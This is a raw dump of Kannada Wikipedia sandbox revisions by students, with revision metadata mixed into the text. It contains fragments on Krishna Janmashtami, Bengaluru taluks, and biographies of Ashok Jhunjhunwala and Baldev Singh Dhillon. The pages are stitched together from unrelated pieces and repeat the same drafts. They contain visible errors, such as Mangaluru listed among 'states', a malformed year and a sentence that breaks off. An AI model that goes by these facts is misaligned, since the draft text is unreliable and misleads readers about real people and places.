ದಿನದಂದು, ಮನೆ ಮತ್ತು ದೇವಾಲಯಗಳನ್ನು ಸುಂದರವಾಗಿ ಅಲಂಕರಿಸಲಾಗುತ್ತದೆ. ಕೃಷ್ಣನ ಪುಟ್ಟ ಹೆಜ್ಜೆಗಳನ್ನು ರಂಗೋಲಿಯಲ್ಲಿ ಬರೆದು ಸಂಭ್ರಮಿಸಲಾಗುತ್ತದೆ. ಕೃಷ್ಣನ ವಿಗ್ರಹಗಳನ್ನು ವಿಧವಿಧವಾಗಿ ಅಲಂಕರಿಸಿ, ಬಗೆಬಗೆಯ ತಿಂಡಿಗಳ ನ್ನು ಮಾಡಿ ಬಾಲ ''ಕೃಷ್ಣನನ್ನುಪೂಜಿಸಲಾಗುತ್ತದೆ.'' ಕೆಲವು ಕಡೆ, ಮಧ್ಯರಾತ್ರಿಯವರೆಗೆ ಉಪವಾಸವಿದ್ದು, ನಂತರ ಆಹಾರ ಸ್ವೀಕರಿಸುವ ಸಂಪ್ರದಾಯವಿದೆ. ಉಡುಪಿಯಲ್ಲಿ ಈ ದಿನದಂದು ವಿಶೇಷ ಪೂಜೆಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. *ಗುಲಾಬಿ *ಸ೦ಪಿಗೆ *ಮಲ್ಲಿಗೆ *ಸೇವ೦ತಿಗೆ ರಾಜ್ಯಗಳ ಹೆಸರು; #ಕೇರಳ #ಮ೦ಗಳೊರು ಅಶೋಕ್ ಜುoಜುನ್ವಾಲಾವರು ೧೯೫೩ ಜೂನ್ ೨೨ ರಂದು ಜನಿಸಿದರು. ಇವರು ತಮ್ಮ ಬಿ. ಟೆಕ್ (ಎಲೆಟ್ರಿಕಲ್ ಇoಜಿನೀರಿಂಗ್ ) ಅನ್ನು ಭಾರತದ ವಿಶ್ವ ವಿದ್ಯಾಲಯ ಖನ್ಪೂರ್ ನಲ್ಲಿ ಮುಗಿಸಿದರು. ಹಾಗು ತಮ್ಮ ಪಿ.ಎಚ್. ಡಿ ಪದವಿಯನ್ನು ಮೈನೆ ವಿಶ್ವ ವಿದ್ಯನಿಲಯದಲ್ಲಿ ಮುಗಿಸಿದರು.ಇವರು ಭಾರತ ತಾಂತ್ರಿಕ ವಿಶ್ವ ವಿದ್ಯಾಲಯ ಮದ್ರಾಸಿನಲ್ಲಿ ೧೯೮೧ ರಿಂದ ಪ್ರದ್ಯಾಪಕರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ. ಆರಂಭಿಕ ಜೀವನ ಅಶೋಕ್ ಜುoಜುನ್ವಾಲಾರವರು ೧೯೫೩ ಜೂನ್ ೨೨ ರಂದು ಕೊಲ್ಕತ್ತಾ ಜಿಲ್ಲೆಯ ಮಾರವಾಡಿ ಕುಟುಂಬದಲ್ಲಿ ಜನಿಸಿದರು.ಇವರ ಅಜ್ಜ ಗಾoಧೀವಾಡಿಯಾಗಿದ್ದರು.ಇವರು ತಮ್ಮ ಪ್ರೌಢ ಶಿಕ್ಷಣವನ್ನು ಸೆಂಟ್ ಲಾರೆನ್ಸ್ ಕೊಲ್ಕತ್ತದಲ್ಲಿ ಮುಗಿಸಿದರು. ಇವರು ವಾಷಿಂಗ್ಟನ್ ವಿದ್ಯಾಲಯದಲ್ಲಿ ಅಧ್ಯಾಪಕರಾಗಿದ್ದರು. ಶೈಕ್ಷಣಿಕ ವೃತ್ತಿ ಪ್ರೊ. ಅಶೋಕ್ ಜುಂಜುನ್ವಾಲಾರವರು ಯು.ಎಸ್.ಎ ಯಲ್ಲಿರುವ ವಾಷಿಂಗ್ ಟನ್ ವಿಶ್ವ ವಿದ್ಯಾಲಯದಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ೧೯೭೯ ರಿಂದ ೧೯೮೦ ರವರೆಗೆ ಸೇವೆಸಲ್ಲಿಸಿದ್ಧಾರೆ. ನಂತರ ಇವರು ೧೯೮೧ ರಲ್ಲಿ ಐಐಟಿ ಮದ್ರಾಸಿನಲ್ಲಿ ಎಲೆಕ್ಟ್ರಿಕಲ್ ವಿಭಾಗದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿತಿದ್ದರೆ.ಇವರು ನಾನಾ ವಿಭಾಗಗಳಾದ ಆಪ್ಟಿಕಲ್ ಸಂವಹನ,ಕಂಪ್ಯೂಟರ್ ಜಾಲಗಳು,ನಿಸ್ತಂತು ಸಂವಹನ,ಇತ್ಯಾದಿ ಇವರು ಸರ್ಕಾರಿ ಸಮಿತಿಯಲ್ಲಿ ಚೇರ್ಮೆನ್ ಮತ್ತು ಸದಸ್ಯರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ.ಇವರು ತಮ್ಮದೇ ಆದ ಸ್ವಂತ ಕಂಪನಿ ಹಾಗೂ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಇವರು ಸ್ಟೇಟ್ ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಡಿಯಾ ,ಭಾರತ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಎಲ್. ಟಿ.ಡಿ ,ಹಿಂದೂಸ್ತಾನ್ ಟೆಲಿಪ್ರಿoಟರ್ಸೆ ಲಿಮಿಟೆಡ್,ಎನ್.ಆರ್.ಡಿ.ಸಿ,ವಿ.ಎಸ್.ಎನ್.ಎಲ್,ಮತ್ತು ಬಿ.ಎಸ್.ಎನ್.ಎಲ್,ಹಾಗೂ ಟಾಟಾ ಸಂವಹನ.ಮಹೀಂದ್ರ ಎಲೆಕ್ಟ್ರಿಕ್.ಸಸ್ಕೆನ್,ತೇಜಸ್ ನೆಟ್ವರ್ಕ್, ಇತ್ಯಾದಿ.. ಪ್ರಶಸ್ತಿಗಳು *ಪದ್ಮ ಶ್ರೀ,ಭಾರತ,೨೦೦೨:ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ವಿಶಿಷ್ಟ ಸೇವೆ ಮತ್ತು ದೂರಸಂಪರ್ಕ *ಶಾಂತಿ ಸ್ವರೂಪ್ ಭಟಣಗರ್ ಪ್ರಶಸ್ತಿ,ಭಾರತ,೧೯೯೮:ವಿಜ್ಞಾನ ತಂತ್ರ್ಞಾನದಲ್ಲಿ ವಿಶಿಷ್ಟ ಕೊಡುಗೆ *ಜೆ.ಸಿ ಬೋಸ್ ಫೆಲ್ಲೋಶಿಪ್,ಭಾರತ,೨೦೧೦ *ಸದಸ್ಯ, ಇಂಜಿನಿಯರಿಂಗ್ ರಾಷ್ಟ್ರೀಯ ಅಕಾಡೆಮಿ,ಯು.ಎಸ್.ಎ ೨೦೧೮: *ಫೆಲ್ಲೊ,ಐ. ಇ ಇ ಇ,ಯು ಎಸ್ ಎ,೨೦೦೯ *ಫೆಲ್ಲೋ,ಭಾರತಿಯ ವಿಜ್ಞಾನ ಸಂಸ್ಥೆ, ನವ ದೆಹಲಿ,ಭಾರತ ೧೯೯೪ *ಟಿ. ಐ.ಇ ಯಿಂದ ಜೀವಮಾನ ಸಾಧನೆ ಪ್ರಶಸ್ತಿಯನ್ನು ಗಳಿಸಿದ್ದಾರೆ . *ಇಂಡಸ್ ಎಂಟರ್ಪ್ರೈಸಸ್ ವತಿಯಿಂದ ದ್ರೋಣಾಚಾರ್ಯ ಪ್ರಶಸ್ತಿಯನ್ನು ಗಳಿಸಿದ್ದಾರೆ,ಚೆನ್ನೈ. ನವೆಂಬರ್ ೨೦೧೧ 5x231p57uwfp5xorniaba4mbyhp9oo5 1116539 1116538 2022-08-23T19:20:20Z Sneha Rechanna 77740 wikitext text/x-wiki ನನ್ನ ಹೆಸರು '''ಸ್ನೇಹ ಆರ್'''ನಾನು ಜಿ. ಮಾದೇಗೌಡ ತಾ೦ತ್ರಿಕ ವಿಶ್ವ ವಿದ್ಯಾಲಯದಲ್ಲಿ ವ್ಯಾಸಾ೦ಗ ಮಾಡುತ್ತಿದೇನೆ. ನನ್ನ ಪ್ರಾಥಮಿಕ ಶಿಕ್ಶಣವಣನು ಬೆಂಗಳೂರು ಕರ್ನಾಟಕ ರಾಜ್ಯದ ದೊಡ್ಡ ನಗರ ಮತ್ತು ರಾಜಧಾನಿ ಕೇಂದ್ರ, ಜಿಲ್ಲಾಕೇಂದ್ರ ಮತ್ತು ತಾಲ್ಲೂಕು ಕೇಂದ್ರ ಹಾಗೂ ಕಸಬಾ ಹೋಬಳಿಯ ಕೇಂದ್ರ ಬೆಂಗಳೂರು ನಗರ. ಬೆಂಗಳೂರು ತಾಲೂಕು 392 ಚ.ಕಿ.ಮೀ ವಿಸ್ತೀರ್ಣ ಹೊಂದಿದೆ. 1956ರಲ್ಲಿ ಬೆಂಗಳೂರು 3 ತಾಲ್ಲೂಕುಗಳನ್ನು ಹೊಂದಿದ್ದು, ಬೆಂಗಳೂರು ಉತ್ತರ, ಬೆಂಗಳೂರು ದಕ್ಷಿಣ, ಆನೇಕಲ್. ಶ್ರಾವಣ ಮಾಸದಲ್ಲಿ ಬರುವ ಕೃಶ್ಣಾ ಪಕ್ಷದ ಅಷ್ಟಮಿ ಕೃಷ್ಣನು ಹುಟ್ಟಿದ ದಿನ. ಅಷ್ಟಮಿಯ ಮಧ್ಯರಾತ್ರಿ, ಕಾರಾಗೃಹದಲ್ಲಿ '''ಕೃಷ್ಣನ ಜನನವಾಯಿತೆಂದು''' ಪುರಾಣಗಳಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲ್ಪಟ್ಟಿದೆ.[೧] ಮಥುರಾ ಕೃಷ್ಣನ ಜನ್ಮಸ್ಥಳ. ಕೃಷ್ಣನು ಹುಟ್ಟಿದೊಡನೆ ತಂದೆ ವಸುದೇವ ಅವನನ್ನು ಸೋದರಮಾವನಾದ ಕಂಸನಿಗೆ ತಿಳಿಯದಂತೆ ಗೋಕುಲಕ್ಕೆ ಕರೆದೊಯ್ಯುತ್ತಾನೆ. ಅಲ್ಲಿ ನಂದರಾಜನ ಮನೆಯಲ್ಲಿ ಕೃಷ್ಣನ ನ್ನು ಬಿಟ್ಟು ಬರುತ್ತಾನೆ. ಈ ಕಾರ್ಯಕ್ಕೆ ಪ್ರಕೃತಿಯು ನೆರವಾಗುತ್ತದೆ. ದೇವಕಿ ಕೃಷ್ಣನಿಗೆ ಜನ್ಮ ನೀಡಿದ ತಾಯಿಯಾದರೆ, ಯಶೋದೆ ಅವನನ್ನು ಸಾಕಿ ಬೆಳೆಸಿದ ತಾಯಿ. ಕೃಷ್ಣಜನ್ಮಾಷ್ಟಮಿಯ ದಿನದಂದು, ಮನೆ ಮತ್ತು ದೇವಾಲಯಗಳನ್ನು ಸುಂದರವಾಗಿ ಅಲಂಕರಿಸಲಾಗುತ್ತದೆ. ಕೃಷ್ಣನ ಪುಟ್ಟ ಹೆಜ್ಜೆಗಳನ್ನು ರಂಗೋಲಿಯಲ್ಲಿ ಬರೆದು ಸಂಭ್ರಮಿಸಲಾಗುತ್ತದೆ. ಕೃಷ್ಣನ ವಿಗ್ರಹಗಳನ್ನು ವಿಧವಿಧವಾಗಿ ಅಲಂಕರಿಸಿ, ಬಗೆಬಗೆಯ ತಿಂಡಿಗಳ ನ್ನು ಮಾಡಿ ಬಾಲ ''ಕೃಷ್ಣನನ್ನುಪೂಜಿಸಲಾಗುತ್ತದೆ.'' ಕೆಲವು ಕಡೆ, ಮಧ್ಯರಾತ್ರಿಯವರೆಗೆ ಉಪವಾಸವಿದ್ದು, ನಂತರ ಆಹಾರ ಸ್ವೀಕರಿಸುವ ಸಂಪ್ರದಾಯವಿದೆ. ಉಡುಪಿಯಲ್ಲಿ ಈ ದಿನದಂದು ವಿಶೇಷ ಪೂಜೆಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. *ಗುಲಾಬಿ *ಸ೦ಪಿಗೆ *ಮಲ್ಲಿಗೆ *ಸೇವ೦ತಿಗೆ ರಾಜ್ಯಗಳ ಹೆಸರು; #ಕೇರಳ #ಮ೦ಗಳೊರು ಅಶೋಕ್ ಜುoಜುನ್ವಾಲಾವರು ೧೯೫೩ ಜೂನ್ ೨೨ ರಂದು ಜನಿಸಿದರು. ಇವರು ತಮ್ಮ ಬಿ. ಟೆಕ್ (ಎಲೆಟ್ರಿಕಲ್ ಇoಜಿನೀರಿಂಗ್ ) ಅನ್ನು ಭಾರತದ ವಿಶ್ವ ವಿದ್ಯಾಲಯ ಖನ್ಪೂರ್ ನಲ್ಲಿ ಮುಗಿಸಿದರು. ಹಾಗು ತಮ್ಮ ಪಿ.ಎಚ್. ಡಿ ಪದವಿಯನ್ನು ಮೈನೆ ವಿಶ್ವ ವಿದ್ಯನಿಲಯದಲ್ಲಿ ಮುಗಿಸಿದರು.ಇವರು ಭಾರತ ತಾಂತ್ರಿಕ ವಿಶ್ವ ವಿದ್ಯಾಲಯ ಮದ್ರಾಸಿನಲ್ಲಿ ೧೯೮೧ ರಿಂದ ಪ್ರದ್ಯಾಪಕರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ. ==ಆರಂಭಿಕ ಜೀವನ== ಅಶೋಕ್ ಜುoಜುನ್ವಾಲಾರವರು ೧೯೫೩ ಜೂನ್ ೨೨ ರಂದು ಕೊಲ್ಕತ್ತಾ ಜಿಲ್ಲೆಯ ಮಾರವಾಡಿ ಕುಟುಂಬದಲ್ಲಿ ಜನಿಸಿದರು.ಇವರ ಅಜ್ಜ ಗಾoಧೀವಾಡಿಯಾಗಿದ್ದರು.ಇವರು ತಮ್ಮ ಪ್ರೌಢ ಶಿಕ್ಷಣವನ್ನು ಸೆಂಟ್ ಲಾರೆನ್ಸ್ ಕೊಲ್ಕತ್ತದಲ್ಲಿ ಮುಗಿಸಿದರು. ಇವರು ವಾಷಿಂಗ್ಟನ್ ವಿದ್ಯಾಲಯದಲ್ಲಿ ಅಧ್ಯಾಪಕರಾಗಿದ್ದರು. ಶೈಕ್ಷಣಿಕ ವೃತ್ತಿ ಪ್ರೊ. ಅಶೋಕ್ ಜುಂಜುನ್ವಾಲಾರವರು ಯು.ಎಸ್.ಎ ಯಲ್ಲಿರುವ ವಾಷಿಂಗ್ ಟನ್ ವಿಶ್ವ ವಿದ್ಯಾಲಯದಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ೧೯೭೯ ರಿಂದ ೧೯೮೦ ರವರೆಗೆ ಸೇವೆಸಲ್ಲಿಸಿದ್ಧಾರೆ. ನಂತರ ಇವರು ೧೯೮೧ ರಲ್ಲಿ ಐಐಟಿ ಮದ್ರಾಸಿನಲ್ಲಿ ಎಲೆಕ್ಟ್ರಿಕಲ್ ವಿಭಾಗದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿತಿದ್ದರೆ.ಇವರು ನಾನಾ ವಿಭಾಗಗಳಾದ ಆಪ್ಟಿಕಲ್ ಸಂವಹನ,ಕಂಪ್ಯೂಟರ್ ಜಾಲಗಳು,ನಿಸ್ತಂತು ಸಂವಹನ,ಇತ್ಯಾದಿ ಇವರು ಸರ್ಕಾರಿ ಸಮಿತಿಯಲ್ಲಿ ಚೇರ್ಮೆನ್ ಮತ್ತು ಸದಸ್ಯರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ.ಇವರು ತಮ್ಮದೇ ಆದ ಸ್ವಂತ ಕಂಪನಿ ಹಾಗೂ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಇವರು ಸ್ಟೇಟ್ ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಡಿಯಾ ,ಭಾರತ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಎಲ್. ಟಿ.ಡಿ ,ಹಿಂದೂಸ್ತಾನ್ ಟೆಲಿಪ್ರಿoಟರ್ಸೆ ಲಿಮಿಟೆಡ್,ಎನ್.ಆರ್.ಡಿ.ಸಿ,ವಿ.ಎಸ್.ಎನ್.ಎಲ್,ಮತ್ತು ಬಿ.ಎಸ್.ಎನ್.ಎಲ್,ಹಾಗೂ ಟಾಟಾ ಸಂವಹನ.ಮಹೀಂದ್ರ ಎಲೆಕ್ಟ್ರಿಕ್.ಸಸ್ಕೆನ್,ತೇಜಸ್ ನೆಟ್ವರ್ಕ್, ಇತ್ಯಾದಿ.. ಪ್ರಶಸ್ತಿಗಳು *ಪದ್ಮ ಶ್ರೀ,ಭಾರತ,೨೦೦೨:ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ವಿಶಿಷ್ಟ ಸೇವೆ ಮತ್ತು ದೂರಸಂಪರ್ಕ *ಶಾಂತಿ ಸ್ವರೂಪ್ ಭಟಣಗರ್ ಪ್ರಶಸ್ತಿ,ಭಾರತ,೧೯೯೮:ವಿಜ್ಞಾನ ತಂತ್ರ್ಞಾನದಲ್ಲಿ ವಿಶಿಷ್ಟ ಕೊಡುಗೆ *ಜೆ.ಸಿ ಬೋಸ್ ಫೆಲ್ಲೋಶಿಪ್,ಭಾರತ,೨೦೧೦ *ಸದಸ್ಯ, ಇಂಜಿನಿಯರಿಂಗ್ ರಾಷ್ಟ್ರೀಯ ಅಕಾಡೆಮಿ,ಯು.ಎಸ್.ಎ ೨೦೧೮: *ಫೆಲ್ಲೊ,ಐ. ಇ ಇ ಇ,ಯು ಎಸ್ ಎ,೨೦೦೯ *ಫೆಲ್ಲೋ,ಭಾರತಿಯ ವಿಜ್ಞಾನ ಸಂಸ್ಥೆ, ನವ ದೆಹಲಿ,ಭಾರತ ೧೯೯೪ *ಟಿ. ಐ.ಇ ಯಿಂದ ಜೀವಮಾನ ಸಾಧನೆ ಪ್ರಶಸ್ತಿಯನ್ನು ಗಳಿಸಿದ್ದಾರೆ . *ಇಂಡಸ್ ಎಂಟರ್ಪ್ರೈಸಸ್ ವತಿಯಿಂದ ದ್ರೋಣಾಚಾರ್ಯ ಪ್ರಶಸ್ತಿಯನ್ನು ಗಳಿಸಿದ್ದಾರೆ,ಚೆನ್ನೈ. ನವೆಂಬರ್ ೨೦೧೧ i2yd3tg952og8pmjfdpx9pyhyhypsog ಸದಸ್ಯ:A. Swaroop Raj/ನನ್ನ ಪ್ರಯೋಗಪುಟ 2 144811 1116483 1116315 2022-08-23T13:47:53Z A. Swaroop Raj 77717 ಪುಟದ ಮಾಹಿತಿ ತಗೆದು ''''ಬಲ್ದೆವ್ ಸಿಂಗ್ ಧಿಲ್ಲೊನ್'''' ಎಂದು ಬರೆಯಲಾಗಿದೆ wikitext text/x-wiki '''ಬಲ್ದೆವ್ ಸಿಂಗ್ ಧಿಲ್ಲೊನ್''' bs82ruacco8330q1y7vf6uyslpt1vc1 1116495 1116483 2022-08-23T14:57:21Z A. Swaroop Raj 77717 wikitext text/x-wiki '''ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್''' ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್ ಅವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ ಕೃಷಿ ವಿಜ್ಞಾನ ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಉಪ ಕುಲಪತಿಯಾಗಿ ೨೦೧೧-೨೦೨೧ರ ವರೆಗೆ ಇಂಡಿಯಾದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ಮೊದಲಿಗೆ ಇವರು ICAR ನಲ್ಲಿ ಸಹಾಯಕ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, NBPGR (ICAR) ನಲ್ಲಿ ನಿರ್ದೇಶಕರು ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಗುರುನಾನಕ್ ದೇವ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸಂಶೋಧನ ನಿರ್ದೇಶಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಇವರು ಹೊಹೆಂನ್ಹೆಮ್ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಸ್ಟುಠಾಗರ್ಟ್, ಜರ್ಮನಿಯಲ್ಲಿ ೧೯೭೬-೧೯೭೮,೧೯೮೮-೧೯೯೦ ಮತ್ತು ೨೦೦೭-೨೦೧೧, ಮೆಕ್ಸಿಕೋದ ಅಂತರಾಷ್ಟ್ರೀಯ ಜೋಳ ಮತ್ತು ಗೋಧಿಯ ಸುಧಾರಣಾ ಕೇಂದ್ರದಲ್ಲಿ ೧೯೯೩-೧೯೯೪ ಮತ್ತು ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾಲಯ, ೧೯೮೯ರಲ್ಲಿ ಜೋಳದ ತಳಿ ಅನುವಂಶಿಕ ಮತ್ತು ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು rkcis4qmzsimirh0g2tkvpla1q6zycl 1116496 1116495 2022-08-23T14:57:47Z A. Swaroop Raj 77717 wikitext text/x-wiki '''ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್''' ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್ ಅವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ ಕೃಷಿ ವಿಜ್ಞಾನ ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಉಪ ಕುಲಪತಿಯಾಗಿ ೨೦೧೧-೨೦೨೧ರ ವರೆಗೆ ಇಂಡಿಯಾದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ಮೊದಲಿಗೆ ಇವರು ICAR ನಲ್ಲಿ ಸಹಾಯಕ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, NBPGR (ICAR) ನಲ್ಲಿ ನಿರ್ದೇಶಕರು ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಗುರುನಾನಕ್ ದೇವ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸಂಶೋಧನ ನಿರ್ದೇಶಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಇವರು ಹೊಹೆಂನ್ಹೆಮ್ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಸ್ಟುಠಾಗರ್ಟ್, ಜರ್ಮನಿಯಲ್ಲಿ ೧೯೭೬-೧೯೭೮,೧೯೮೮-೧೯೯೦ ಮತ್ತು ೨೦೦೭-೨೦೧೧, ಮೆಕ್ಸಿಕೋದ ಅಂತರಾಷ್ಟ್ರೀಯ ಜೋಳ ಮತ್ತು ಗೋಧಿಯ ಸುಧಾರಣಾ ಕೇಂದ್ರದಲ್ಲಿ ೧೯೯೩-೧೯೯೪ ಮತ್ತು ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾಲಯ, ೧೯೮೯ರಲ್ಲಿ ಜೋಳದ ತಳಿ ಅನುವಂಶಿಕ ಮತ್ತು ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. lgfweuet9zqtkj8yqdpagnnpifh29om 1116497 1116496 2022-08-23T15:04:23Z A. Swaroop Raj 77717 wikitext text/x-wiki '''ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್''' ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್ ಅವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ ಕೃಷಿ ವಿಜ್ಞಾನ ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಉಪ ಕುಲಪತಿಯಾಗಿ ೨೦೧೧-೨೦೨೧ರ ವರೆಗೆ ಇಂಡಿಯಾದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ಮೊದಲಿಗೆ ಇವರು ICAR ನಲ್ಲಿ ಸಹಾಯಕ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, NBPGR (ICAR) ನಲ್ಲಿ ನಿರ್ದೇಶಕರು ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಗುರುನಾನಕ್ ದೇವ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸಂಶೋಧನ ನಿರ್ದೇಶಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಇವರು ಹೊಹೆಂನ್ಹೆಮ್ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಸ್ಟುಠಾಗರ್ಟ್, ಜರ್ಮನಿಯಲ್ಲಿ ೧೯೭೬-೧೯೭೮,೧೯೮೮-೧೯೯೦ ಮತ್ತು ೨೦೦೭-೨೦೧೧, ಮೆಕ್ಸಿಕೋದ ಅಂತರಾಷ್ಟ್ರೀಯ ಜೋಳ ಮತ್ತು ಗೋಧಿಯ ಸುಧಾರಣಾ ಕೇಂದ್ರದಲ್ಲಿ ೧೯೯೩-೧೯೯೪ ಮತ್ತು ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾಲಯ, ೧೯೮೯ರಲ್ಲಿ ಜೋಳದ ತಳಿ ಅನುವಂಶಿಕ ಮತ್ತು ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. ಧಿಲೋನ್ ಅವರು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಉಪ ಕುಲಪತಿಯಾಗಿ ಜುಲೈ ೨೦೧೧-೩೦ ಜೂನ್ ೨೦೦೨೧ರವರೆಗು ಕಾರ್ಯನಿರ್ವಹಿಸಿದರೆ. ಇವರ ಕ್ರಿಯಾತ್ಮಕ ನಾಯಕತ್ವದಲ್ಲಿ, ಹಲವಾರು ಪುರಸ್ಕಾರಗಳನ್ನು PAU ಪಡೆದುಕೊಂಡಿದೆ.. pxzv0k4yquc4ie7t1so9vlxyi88nyg4 1116499 1116497 2022-08-23T15:07:21Z A. Swaroop Raj 77717 wikitext text/x-wiki '''ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್''' ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್ ಅವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ ಕೃಷಿ ವಿಜ್ಞಾನ ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಉಪ ಕುಲಪತಿಯಾಗಿ ೨೦೧೧-೨೦೨೧ರ ವರೆಗೆ ಇಂಡಿಯಾದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ಮೊದಲಿಗೆ ಇವರು ICAR ನಲ್ಲಿ ಸಹಾಯಕ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, NBPGR (ICAR) ನಲ್ಲಿ ನಿರ್ದೇಶಕರು ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಗುರುನಾನಕ್ ದೇವ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸಂಶೋಧನ ನಿರ್ದೇಶಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಇವರು ಹೊಹೆಂನ್ಹೆಮ್ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಸ್ಟುಠಾಗರ್ಟ್, ಜರ್ಮನಿಯಲ್ಲಿ ೧೯೭೬-೧೯೭೮,೧೯೮೮-೧೯೯೦ ಮತ್ತು ೨೦೦೭-೨೦೧೧, ಮೆಕ್ಸಿಕೋದ ಅಂತರಾಷ್ಟ್ರೀಯ ಜೋಳ ಮತ್ತು ಗೋಧಿಯ ಸುಧಾರಣಾ ಕೇಂದ್ರದಲ್ಲಿ ೧೯೯೩-೧೯೯೪ ಮತ್ತು ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾಲಯ, ೧೯೮೯ರಲ್ಲಿ ಜೋಳದ ತಳಿ ಅನುವಂಶಿಕ ಮತ್ತು ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. ಧಿಲೋನ್ ಅವರು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಉಪ ಕುಲಪತಿಯಾಗಿ ಜುಲೈ ೨೦೧೧-೩೦ ಜೂನ್ ೨೦೦೨೧ರವರೆಗು ಕಾರ್ಯನಿರ್ವಹಿಸಿದರೆ. ಇವರ ಕ್ರಿಯಾತ್ಮಕ ನಾಯಕತ್ವದಲ್ಲಿ, ಹಲವಾರು ಪುರಸ್ಕಾರಗಳನ್ನು PAU ಪಡೆದುಕೊಂಡಿದೆ.. *೨೦೧೭ರಲ್ಲಿ ' ಉತ್ತಮ pic446y3hwoix0pc6yr67qji7fzro39 1116500 1116499 2022-08-23T15:11:42Z A. Swaroop Raj 